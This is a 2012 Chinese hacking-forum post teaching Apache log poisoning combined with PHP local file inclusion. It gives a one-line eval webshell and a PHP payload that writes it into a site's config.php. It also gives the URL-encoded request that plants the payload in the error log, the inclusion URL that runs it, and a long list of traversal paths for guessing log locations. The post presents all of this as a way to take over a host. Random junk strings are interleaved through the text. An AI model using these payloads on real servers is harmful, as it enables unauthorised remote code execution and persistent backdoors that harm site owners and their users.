找回密码
 立即注册
查看: 2933|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
! o- `+ N. L) g2 w2 ?: M, Q( y1 x. Z( U
比如还是这句一句话木马 % _3 Z) m, i" Z, Q) G2 z* V  C
<?eval($_POST[cmd]);?>   
3 C0 c8 _2 y. F: q3 h- R5 s* D' B' p) j
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, + s7 N) v3 q9 Z, O+ G: M% v( a
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
" K! D) w5 h/ U/ c1 v6 a2 Y. L* `9 f7 k: J9 J4 R
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); + N" T7 Z7 i) V0 ~3 p) d2 o/ e
fclose($fp);?>   //在config.php里写入一句木马语句
* q) H1 k$ y8 o: ^/ m
8 Z! {7 l: H- ?$ S) ]5 S. ~我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 " Z2 T& [2 Z7 p; D  n8 c' P
转换为 5 c, Y* u2 b. ^# A/ ]! X
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
/ j! t& _% u& u' `config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
1 S5 W+ g3 ]8 e/ `%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
4 w+ \+ g2 D9 qfclose%28%24fp%29%3B%3F%3E / b' ~0 ^( O* y1 H
我们提交
% C" @8 S! U/ r" u  mhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 6 c- a! |, l$ j7 _0 [; `
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 3 l8 U& b$ ^( @4 C) ^
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 2 d* n" V$ r% U1 g; _7 l% K
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 9 J1 {) i' l* G3 R4 _5 l9 E

+ `. U, g8 I& j# M6 \) @' C9 s这样就错误日志里就记录下了这行写入webshell的代码。 & p1 B) [. \5 c) F* F2 o$ d$ x( \3 i* b% J
我们再来包含日志,提交 $ r3 ^. |- m% L, |
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log ! ~/ U, s  W. y  f! t
. b& [4 Q$ Q# ]5 T% a0 n
这样webshell就写入成功了,config.php里就写入一句木马语句 . {) V, F) x2 S9 \, c
OK. / T# Q* ]( h/ L1 H. \" ^- U
http://www.xxx.com/forum/config.php这个就成了我们的webshell   T& o/ M2 O+ @7 `
直接用lanker的客户端一连,主机就是你的了。 ; {8 B; T% Y# q' a0 P

) j5 W  _1 Z: L- ^5 e) n3 kPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 / A% b7 ]# O: F* R

$ c% A! K+ w( U  i; \! g, ]其他的日志路径,你可以去猜,也可以参照这里。
# I6 V7 Z! {: P$ k( I- q' u../../../../../../../../../../var/log/httpd/access_log
4 v, T& H8 g& ?: K  o9 z# W../../../../../../../../../../var/log/httpd/error_log / v  j. @9 u3 t8 h; a$ F5 F
../apache/logs/error.log
/ O, d8 Q& f  w7 c. T../apache/logs/access.log
# L4 R% U5 k3 M6 [. L../../apache/logs/error.log
, C& |$ J8 ?6 W- {( y& S  \* A! R../../apache/logs/access.log
3 u) |$ q8 z+ ]../../../apache/logs/error.log 4 F7 {. b+ ?8 A% n( ^
../../../apache/logs/access.log
6 z' d$ h) c3 i' z. o' V5 }6 L../../../../../../../../../../etc/httpd/logs/acces_log ( d0 d' I# ~  {: n9 B' W/ j! D8 ?  v
../../../../../../../../../../etc/httpd/logs/acces.log & Z" i! i7 p' m& h9 k
../../../../../../../../../../etc/httpd/logs/error_log 3 i; n4 M. B8 G# m5 z+ w: _
../../../../../../../../../../etc/httpd/logs/error.log
0 T% U" d2 I. m! I% z) s4 `/ Y1 Z0 y! M../../../../../../../../../../var/www/logs/access_log
( E6 V% d. F" H8 g$ w6 n../../../../../../../../../../var/www/logs/access.log * I# e/ ~. O; l/ f. |0 C! s
../../../../../../../../../../usr/local/apache/logs/access_log & i' N4 y/ L7 R; e1 z' u# W& K+ n6 h
../../../../../../../../../../usr/local/apache/logs/access.log
* i5 a5 h1 }7 u../../../../../../../../../../var/log/apache/access_log + F& ]9 b  H) O! F5 [5 Q1 u
../../../../../../../../../../var/log/apache/access.log " T/ ?4 U) M% ^$ s* ^* m
../../../../../../../../../../var/log/access_log
" z# v0 q( J( T: b: k! g../../../../../../../../../../var/www/logs/error_log : N3 ^2 k5 r8 @4 ?  M6 R
../../../../../../../../../../var/www/logs/error.log
& l4 o% G+ f7 d+ ^% @9 ?: L../../../../../../../../../../usr/local/apache/logs/error_log / \& P2 b. g  o5 i
../../../../../../../../../../usr/local/apache/logs/error.log
! u: f1 D8 a3 y, ~6 F7 n../../../../../../../../../../var/log/apache/error_log
% u$ j# B1 ?8 k6 L2 ~8 n$ N- x../../../../../../../../../../var/log/apache/error.log ) ?7 M( l( ]6 u9 P/ P
../../../../../../../../../../var/log/access_log 3 i! M- @+ C  i( X
../../../../../../../../../../var/log/error_log ( \: R+ R# }; ^0 Q8 Z# ~7 [
/var/log/httpd/access_log       % H$ A' B7 j' w5 Q, H$ g4 L
/var/log/httpd/error_log       z+ d3 u0 |8 J8 F: Y8 P# U( d% m
../apache/logs/error.log     
! y- t* Y1 A2 @  i: @6 x../apache/logs/access.log ! W! K  y/ M, I1 F* l6 D
../../apache/logs/error.log
& R- F+ x2 X5 x; v- H. E' G../../apache/logs/access.log : r+ w4 T9 O/ Y; D0 z
../../../apache/logs/error.log ! U4 t; @8 L/ B  {' U4 e/ n
../../../apache/logs/access.log
5 C( `! D1 X. @( O' d5 V& U. l! Y/etc/httpd/logs/acces_log * Y' X+ E% ^) t; z
/etc/httpd/logs/acces.log $ |  k! n1 C# q: F1 p+ z
/etc/httpd/logs/error_log 8 B  n# m! L6 e6 S  Q
/etc/httpd/logs/error.log
% ~6 V4 Y# D) C/var/www/logs/access_log   r3 \: Y6 Z* `% Y+ w" G: d& d8 v% @
/var/www/logs/access.log
* s$ r3 M/ q: }/usr/local/apache/logs/access_log 9 \5 I! G1 H7 s# t- i7 ^. c5 S$ ~
/usr/local/apache/logs/access.log
$ T: u: t2 W9 P- O/ A1 O% S3 v7 |/var/log/apache/access_log 2 r6 G2 c' u+ p6 M! b
/var/log/apache/access.log $ O; |. |9 R; C" L
/var/log/access_log 0 i! O7 j/ b9 Y! f, \4 ?* B! e
/var/www/logs/error_log
3 |; |7 P, }% R2 l' Z/var/www/logs/error.log : f/ b, K; |/ C
/usr/local/apache/logs/error_log
1 A' W- U* k/ d7 h5 P/usr/local/apache/logs/error.log ( U# {& O2 B7 i5 v/ |& r  N4 D
/var/log/apache/error_log # r: |" G: |( v7 K) h& z
/var/log/apache/error.log
( x3 z7 e6 r% ^0 x1 [9 W: p9 H/var/log/access_log
2 X3 ~+ `7 q) M9 I" @" T" f/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表